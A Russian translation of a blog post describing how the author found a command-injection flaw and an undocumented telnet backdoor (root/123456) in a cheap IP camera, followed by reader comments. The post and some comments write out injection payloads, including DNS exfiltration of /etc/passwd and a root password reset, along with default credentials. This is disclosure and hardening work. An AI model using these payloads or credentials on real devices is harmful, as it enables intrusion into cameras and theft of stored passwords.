Как я взломал свою ip-камеру и нашел там бекдор

https://jumpespjump.blogspot.ru/2015/09/how-i-hacked-my-ip-camera-and-found.html
  • Перевод
Время пришло. Я купил себе второе IoT устройство в виде дешевой ip-камеры. Мои ожидания относящиеся к безопасности этой камеры были не высоки, это была самая дешевая камера из всех. Но она смогла меня удивить.


Я открыл коробку, и первое что увидел — это пароль из 4 цифр. Это пароль пользователя «Администратор», для настройки устройства. Смотрите видео ниже. Большинство людей не заботятся о том, чтобы поменять этот пароль.

Очевидно, что эта камера может общаться по Ethernet кабелю или Wi-Fi. Порадовала поддержка WPA2, однако люди склонны оставить Wi-Fi незащищённым.

Перехватив трафик между камерой и десктопным приложением, легко заметить что данные передаются по HTTP через 81 порт. Просто гениальное управление сеансом. Имя пользователя и пароль передаются в каждом GET запросе, без шифрования. Хоть Wi-Fi был защищён.

К счастью десктопное приложение сохраняет для вас пароль в открытом виде в файле:

"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

Эта замечательная камера обращается к облаку по UDP. Серверы находятся в Гонконге и Китае. Если вам инетересно, зачем ip-камере подключение к облаку, то всё просто. Эта камера умеет взаимодействовать с мобильными приложениями для Android и IOS. И пользователи подключаются к облаку, чтобы не заморачиваться с настройкой портов и DNS. Супер.

Натравим nmap на это устройство.

PORT     STATE SERVICE    VERSION
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped

Определился HTTP сервер, Telnet сервер на BusyBox, и какой-то порт 8600. В 27-страничном руководстве не говорится ни слова про Telnet. Как нам назвать этот порт? Отладочный порт? Или бекдор порт? Посмотрим. Я вручную попробовал несколько паролей для пользователя root, но ни один из них не сработал. Я двинулся дальше.

Двойная Слепая инъекция


IP-камера может загружать снимки на FTP сервер. Однако эта опция требует предварительной настройки. Когда я её настроил, оказалось что это не работает. Имя пользователя и пароль от сервера были не верными. После некоторой отладки выяснилось, проблема была в том, что у меня пароль содержал символ $. И я начал копать. Я был уверен, что эта уязвимость позволяет вставлять команды, но не знал как её использовать. Были многочисленные проблемы, усложняющие эксплуатацию. Я называю эту уязвимость двойной слепой инъекцией. Во первых мы не видим вывод этой команды, а во вторых, ёё выполнение происходит в другом потоке. Таким образом использование sleep ни к чему не приводит.

Но третья проблема была хуже всех — это ограничение в 32 символа. Я мог отправить некоторую информацию через DNS. И с помощью следующих команд, я мог получить текущий каталог:

$(ping%20-c%202%20%60pwd%60)

Или та же команда в читаемом виде:

$(ping -c 2 `pwd`)

но мне не удавалось вытащить информацию из /etc/passwd. Я попытался выполнить $(reboot), но это была очень плохая идея, и камера ушла в бесконечный ребут, а кнопки аппаратного сброса не работали. Весёлые времена.

Ниже представлены мои отчаянные попытки получить доступ к оболочке. Спасибо EQ за его помощь в процессе ночного взлома. И за его великие идеи.

$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`)           ;leak it via DNS

После того, как я наконец взломал камеру, возникла следующая проблема. Там не было команд head, tr, less, more или cut. Небыло nc и даже bash`а не было…

Я даже пытался использовать commix, из видео на Youtube он подавал большие надежды. Commix похож на sqlmap но только для инъекций команд. Однако этот случай, для него был слишком сложен.



После многочисленных неудачных попыток, я наконец-то нашёл пароль. Сезам откройся.

$(echo 'root:passwd'|chpasswd)

Логинимся через telnet

(none) login: root
Password:

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

Вау Вау :) Я быстро нашёл место, куда инъектилась моя команда:

# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye

Всякий раз когда мы вводим команду в поле пароля, она копируется в этот скрипт, который затем исполняется. После этого я испугался, что забыл сохранить содержимое /etc/passwd, так как собирался взломать ещё и дефолтный пароль на telnet. К счастью, ребут восстановил исходные данные.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

К сожалению запускать старый добрый John The Ripper не пришлось, так как гугл подсказал что это хеш пароля 123456. Это куда безопасней чем пароль багажа.



Пора резюмировать то, что у нас есть. Существует недокументированный telnet'овский порт IP-камеры, с паролем: 123456 для пользователя root, нет GUI, чтобы изменить этот пароль, а если изменить его с помощью консоли, он вернётся после следующей перезагрузки. Я думаю, что это смело можно назвать бэкдором.

С помощью root доступа к консоли мы можем получить пароль для FTP-сервера, для сервера SMTP (для оповещений), пароль WiFi (хотя мы, вероятно, его уже имеем), доступ к административному интерфейсу камеры, или просто можем перенастроить камеру как мы хотим. К счастью, чаще всего этот порт Telnet находится за NAT или брандмауэром, поэтому он не доступен из интернета. Но всегда есть исключения. К счастью, UPNP не позволяет настроить порт Telnet, чтобы он был доступен из Интернета, только камера HTTP порт 81. Вас защищает только тот пароль из 4 цифр, что стоит по умолчанию.

И последнее, всё работает от root`а, что не удивительно.

Мой список изменений


Я добавил эти строки в конец файла /system/init/ipcam.sh:

sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Кроме того, если вы хотите, вы можете отключить службу телнет закомментировав Telnetd в /system/init/ipcam.sh.

Если хотите, отключите подключение к облаку (вы не сможете использовать мобильные приложения), поместите следующую команду в начало файла /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

Вы можете использовать OpenVPN для подключения к домашней сети, чтобы получить доступ к веб-интерфейсу камеры. Он работает с Android, IOS, и любой десктопной ОС.

99% людей, которые покупают эти IP-камеры думают, что они будут в безопасности с ней. Теперь я понимаю, наклейку, которая поставляется вместе с IP-камерой.



Так что, когда Вы в следующем эпизоде ​​Mr Robot увидите как кто-то подключился к ip-камере через Telnet с root:123456, вы будете знать, что это печальная реальность.
Поделиться публикацией
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама
Комментарии 58
  • +16
    «Если у вас паранойя, это еще не значит, что за вами не следят!» (с)
    • –8
      *если нет паранойи
      • +4
        нет, таки у автора правильная цитата
        • –7
          Гугл:
          если у вас паранойя
          Результат: 561 000)
          если у вас паранойя это не значит
          Результат: 373 000
          если у вас нет паранойи
          Результат: 1 490 000
          • 0
            Есть — 77к+111к результатов, нет — 99к результатов. Искать полную цитату.
            • –6
              Давайте тогда логично.
              «Если у вас ощущение, что за вами следят, это еще не значит, что за вами не следят». Не странновато ли звучит?
              • +2
                — «У тебя паранойя, за тобой никто не следит»
                — «Если у меня паранойя, это еще не значит, что за мной не следят!» (с)
                • +2
                  не так.

                  «Если у вас ложное ощущение что за вами следят, это ещё не означает что за вами и вправду не следят».
                  • +1
                    не точное значение паранои
                    точнее будет «не обоснованное ощущение, что за вами следят»
                    тогда получается:
                    Если тебя считают психом с манией преследования (с параноей), это не значит что за тобой не следят
                    • +1
                      «Если у вас ощущение, что за вами следят, это еще не значит, что за вами не следят». Не странновато ли звучит?
                      Вы просто культурный контекст фразы не учли.

                      Есть люди, сильно переживающие за свою анонимность. Есть окружающие их обычные люди, которые думают что-то вроде «Да ты просто параноик. Зачем большому брату / правительству / злобным хакерам следить за обычными людьми?» И уже в ответ на это родилась шутка «если ты параноик, то это не значит, что за тобой не следят».
                      • 0
                        Я не был параноиком, пока все не сговорились. 8)
                      • 0
                        Если искать по полной фразе, то оба варианта близки, потому что в результатах поиска положительного варианта всё равно много отрицательных вариантов.
                        А в Яндексе отрицательный вариант больше на 120 тысяч.

                        Похоже, эта та фраза, по поводу которой спорить бесполезно, т.к. каждая применяется в своём контексте. Такое мне ещё не встречалось =)
              • +20
                Я думаю, что это безопасно, чтобы сказать, что это бэкдор

                думаю, этого достаточно, чтобы считать этот перевод надмозговым машинным =)

                • 0
                  Эмм, а как зовут нашего героя?
                  • 0
                    Поиск по картинкам подсказывает, что Eminent eCamView IP Camera

                    PS. Впрочем, это не единственная китайская камера с телнетом и паролем.
                    • 0
                      100 евро это ДЕШЕВАЯ? кошмар
                      я недавно приобрел tplink nc220 с ночной съемкой за 3999р. (из них примерно 500р доставка в мой регион), правда качество не фонтан, но даже есть H264 в добавление к mjpeg (предыдущая самая дешевая моя wifi камера стоила чуть меньше 3т.р. но без ir и поддержка была только mjpeg)

                      Камера поддерживает только режим просмотра через мобильное приложение но спасибо добрым людям распотрошили https://github.com/reald/nc220
                      p.s.
                      ffplay rtmp://192.168.1.49:1935/stream/video/h264
                      video and audio stream
                      Works without authentication! (WTF?)
                    • 0
                      Ну если на КДПВ герой обзора, то это Eminent EM6225 e-CamView Pan/Tilt HD IP Camera, судя по поиску гугла по картинкам.
                      Беглый взгляд на видео с анбоксингом подтверждает что да, это он. По крайней мере вкладыш в коробке с EM6225 соответствует последней картинке.
                    • +2
                      к слову сказать: китайцы при обсуждении с ними прошивки запрещают менять рутовый пароль.
                      • +2
                        А чем они это мотивируют?
                        • +1
                          мотивация очень простая: любая модификация должна пройти через цикл тестирования.

                          Цикл тестирования у китайцев очень сильно отличается от советской космической приемки и не в лучшую сторону, плюс он скрыт у других китайцев, которые им не делятся с первыми китайцами.

                          В итоге непонятно как делить ответственность сторон за такие модификации.
                      • +5
                        У меня тут ещё похлеще, роутер ZXV10 H208L, выдан белтелекомом бесплатно в пользование.
                        Так вот, там есть интерфейс по HTTP/HTTPS (который что характерно корректно отображается только в Internet Explorer), документированный с ним всё нормально.
                        А есть telnet, на стандартном порте (23) и на нём стоит пароль который не меняется никак (root/root), то есть любой кто подключен к Wi-Fi сети может подключиться к роутеру и что нибудь натворить (для этого даже старого Java-фона с Wi-Fi хватит, даже там есть адекватные telnet клиенты, уж не говоря про обычный комп или ноутбук).
                        Спойлер
                        image

                        А ещё в этом роутере была скрытая из HTML интерфейса точка доступа, которая выпиливалась только через telnet (инструкции гуглятся запросто по модели).
                        • +1
                          https://geektimes.ru/post/180031/
                          https://habrahabr.ru/post/275819/
                          • 0
                            Спасибо, теперь буду знать как менять пароль telnet если понадобится, но это врядли, сеть скрытая и пароль на Wi-Fi (WPA2-PSK) достаточно надёжен я думаю.
                          • 0
                            Мысль интересная. Значит ли это что если мне какой-нибудь МГТС ставит роутер к которому у меня нет низкого доступа, что он у меня на самом деле есть?
                            • +1
                              Это значит только то, что у МГТС к твоему роутеру есть полный доступ
                              • 0
                                Это-то то понятно. Но вот появляется ли он у меня, вот что интересно!
                          • +1
                            Хорошая, годная статья. Не очень понял как он достучался до камеры после того как она «ушла в бесконечный ребут», но спишем это на мои невысокие знания юникс-лайк систем.

                            Было бы круто, если бы кто-нибудь собрал все найденные камеры с подобными бэкдорами в один пост.
                            • +2
                              Такие системы обычно «фиксятся» вырубанием полностью питания и подачей обратно. Такой хард-ресет.
                              • +7
                                Было бы ещё круче, если бы этот кто-нибудь, подумав, всё-таки не постил этот большой пост.
                                • +1
                                  Было бы круто, если бы кто-нибудь собрал все найденные камеры с подобными бэкдорами в один пост.


                                  Боюсь, что это невозможно, ибо тысячи их!
                                  • 0
                                    У меня даже начало появляться ощущение, что _все_ китайские железячники участвуют в чём-то вроде СОРМа, т.е. им сверху вменили в обязанность ставить закладки во все устройства… В последнее время не встречал ни одного обзора раздербаненной прошивки, где бы бэкдора не нашли :(
                                  • +2
                                    Наверно, проще будет составить список, где их нет.
                                • +4

                                  У вас там ограничение по длине строки, а вы символы щедрою рукою на антипаттерн «бесполезная кошка» расходуете:


                                  $(cat /tmp/a|head -1>/tmp/b) #filter for the first row
                                  $(cat</tmp/b|tr -d ' '>/tmp/c) #filter out unwanted characters

                                  Так правильно:


                                  $(head -1 /tmp/a>/tmp/b) #filter for the first row
                                  $(tr -d ' '</tmp/b>/tmp/c) #filter out unwanted characters
                                  • –1
                                    > После того, как я наконец взломал камеру, возникла следующая проблема. Там не было команд head, tr, less, more или cut.
                                    • +2

                                      Вы почему-то не обратили на это внимание, но я упрощаю команды, взятые из статьи, а не свои придумываю. И после упрощения команд в строке становится меньше, а не больше.

                                    • –1
                                      Там не было команд head, tr, less, more или cut. Небыло nc и даже bash`а не было…

                                      из статьи…
                                      • +2

                                        Вопросы к согласованности статьи — к автору статьи.

                                    • 0
                                      Спасибо
                                      • +1
                                        Ждём очередную новость об очередном гигантском DDoS'е через IoT…
                                        • 0
                                          хорошая статья, заставила задуматься лишний раз. паранойей не страдаю, ибо всё за NAT. но тут ip-камера с али пришла и скоро будет в домашней сети. надо тоже пробежаться по ней внимательнее…
                                          • 0
                                            Вы за NAT, но взломы обычно идут изнутри, с вашего заражённого компьютера.
                                            • 0
                                              Судя по бесконечным логам моего роутера, ломают таки из внешки. Я конечно не исключаю и троянчики изнутри сети, мне пока такие не попадались.
                                              • 0
                                                ну, за это я спокоен. не хочу заниматься шапкозакидательством, но за почти 30 лет сидения за компом заражался раза 3, и то не критично. при этом, резидентные антивирусы на дух не переношу и никогда не ставил. личная дисциплина решает. плюс правило Неуловимого Джо :)))
                                                а снаружи всё просто — попытка сунуться в 22/23 порт заносит ip в бан на 10 минут. Микротик рулит :)
                                            • +1
                                              Я вручную попробовал несколько паролей для пользователя root, но ни один из них не сработал

                                              гугл подсказал что это хеш пароля 123456


                                              По моему при ручном переборе паролей этот стоило пробовать в первую очередь.
                                              • 0
                                                А как работают p2p камеры, для доступа к которым нужно сканировать qr код и ввести логин и пароль к камере — тоже через облако?
                                                Просто есть у меня одна такая камера, скачал первое попавшееся приложение в маркете и она заработала…
                                              • 0
                                                Не вижу особого практического смысла в таком бэкдоре. Доступ к камере из интернета чаще всего отсутствует, потому что мало кто вешает их на белые IP, а адекватные люди вообще убирают такие девайсы в изолированную сеть, где они общаются исключительно с сервером видеорегистрации.
                                                • 0
                                                  Значит такая камера не подойдёт обычному пользователю без выделенного сервера.
                                                  • +1
                                                    в последних ддосах участвовали миллионы IP камер, выставленных в интернет.
                                                    • 0
                                                      Ок, возьмём к примеру линейку китайских копеечных камер Sricam. У них выпилено всё, что можно, включая telnet, ftp, вебморду и Onvif обрезан по самую авторизацию. Соответственно даже RTSP светить в здравом уме во вне не рекомендуется, учитывая, что камера покажет видео любому желающему без пароля. В итоге стоят себе камерки и общаются с китайским облачком по своему протоколу поверх UDP, радуя пользователей мобильных приложений простотой своей настройки и эксплуатации. Ну разве что могут ещё картиночку на мыло скинуть иногда, почуяв движение в кадре. Если исключить вшитые самими китайцами бекдоры в свой UDP-протокол, какова вероятность того, что и эту камеру по команде направят ддосить жертву атаки?.
                                                      • 0
                                                        Ооо! Китайцы, UDP, видео.

                                                        Подключаемся к камере и говорим ей, что мы с вооот того IP адреса и надо слать видео туда.
                                                        • 0
                                                          Короче, и тут всё плохо. Возможно ли накатить на эту сри-камеру Flussonic Agent? Забирает ли он поток с камеры по RTSP или ему нужны иные механизмы взаимодействия?
                                                          • 0
                                                            для этого нужно:

                                                            1) наличие на камере RTSP сервера
                                                            2) наличие на камере линукса (почти всегда)
                                                            3) наличие прошивки от камеры
                                                            4) некоторый элемент везения, что бы камера не была жестоко отгорожена

                                                            • 0
                                                              Отлично, жду статью на эту тему.
                                                              А в случае sricam и прочих клонов с прошивкой от gwell:
                                                              1) Присутствует.
                                                              2) Присутствует.
                                                              3) Обновления прошивки представляют из себя заголовок в 32 байта и jffs2 раздел с бинарниками, скриптами и ресурсами, в который доложить от себя можно что угодно. Все поля заголовка известны, загвоздка лишь в алгоритме подсчёта контрольной суммы, но и это решаемо за пару часов при необходимости.
                                                              4) См. пункт 3 ибо иных способов залить файлы в камеру не наблюдается.
                                                              • 0
                                                                мы встречались с ситуацией, когда камера через веб-интерфейс проверяет чуть ли не RSA подпись, а через tftp готова лить что угодно.

                                                                Короче, напишем =)
                                                  • 0
                                                    Купил также IP камеру.
                                                    Запретил на роутере весь трафик от неё наружу, потому что какие-то DNS на 8.8.8.8, UPD и прочия, прочия,
                                                    • –1
                                                      .Чтобы не страдать паранойей за камеру, ее надо подключать к регистрирующему устройству через S-VIDEO.

                                                      Иногда бывает нужен вот такой переходничек.

                                                      И паранойте себе на здоровье теперь за регистратор. Там уже проще систему переставить.

                                                      Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.